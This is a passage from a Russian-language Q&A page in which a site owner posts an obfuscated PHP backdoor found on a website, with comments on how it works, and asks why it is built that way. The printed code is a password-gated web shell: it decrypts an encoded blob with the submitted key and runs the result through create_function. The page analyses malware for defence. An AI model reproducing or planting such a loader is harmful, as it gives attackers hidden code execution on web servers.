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
tyv1Lr0=
'));
//$l___l_ = $data
//$l__l_  = $input
//$l____l_ = $i and $func
//If the form was submitted, load from post, otherwise check for a cookie and use that.
$input=isset($_POST['input'])?$_POST['input']:(isset($_COOKIE['input'])?$_COOKIE['input']:NULL);
if($input!==NULL)
{
/*
This is a modified hash function, it looks like the md5 hash with extra characters on the end
I notice (because of the string reverse function in there) that when the input string is a palindrome
the extra characters on the end of the output string match the beginning of the output string e.g.
input string = '12321'
md5 = 8542516f8870173d7d1daba1daaaf0a1
modified md5 = 8542516f8870173d7d1daba1daaaf0a185425
The end of the modified md5 (85425) matches the beginning. Don't know how relevant that is.
*/
$input = md5($input).substr(md5(strrev($input)), 0, strlen($input));

//Note 15185 is the length of the data string above after base64 decoding.
for($i = 0; $i < 15185; $i++)
{
//Take the ascii # of the data char at each position and subtract the ascii # of the char
//at the same position in the hashed input. Loop over 256 and return as a char
$data[$i]=chr(( ord($data[$i])-ord($input[$i]))%256);
//Then add that char to the end of the hashed input string
$input.=$data[$i];
}
//$data has been modified at this point, if gzip suceeds in decompressing it
if($data=@gzinflate($data))
{
//If we made a post save it in a cookie
if(isset($_POST['input']))@setcookie('input', $_POST['input']);
//create a function from the unzipped data, unset used variables, and run the function.
$func=create_function('',$data);
unset($data,$input);
$func();
}
}?>
<form action="" method="post"><input type="text" name="input" value=""/><input type="submit" value="&gt;"/></form>

Таким образом, чтобы подвести итог, похоже, что он принимает ваш ввод, пропускает его через некоторые сценарии md5, объединяет его с блоком данных de-base64, разархивирует, превращает результат в функцию и запускает его.

У меня вопрос почему? Почему бы просто не взять ввод текста и eval () его? Что этот дополнительный код дает хакеру, которого он не мог сделать раньше? И есть ли способ узнать, что находится в блоке кода? Похоже, что входные данные могут быть не простым php, а скорее строкой gobbledegook, которая совмещается с данными для создания действительного zip-файла.

0

Решение

Эта запутанность кода в основном делается для того, чтобы скрыть реальную деятельность от любого исследователя. Кроме того, некоторые инструменты могут обнаружить вредоносный код, если он не запутан. Чтобы узнать, что скрыто за пейзажем, вы могли бы сбросить переменную $ data непосредственно перед create_function назывался. Но вы не можете сделать это, не зная входящих данных от входа хакера. Если вы действительно хотите знать, что там, вы можете настроить ведение журнала для входных данных и подождать, пока хакер не зайдет на сайт.

3

Другие решения

Других решений пока нет …

По вопросам рекламы ammmcru@yandex.ru
Adblock
detector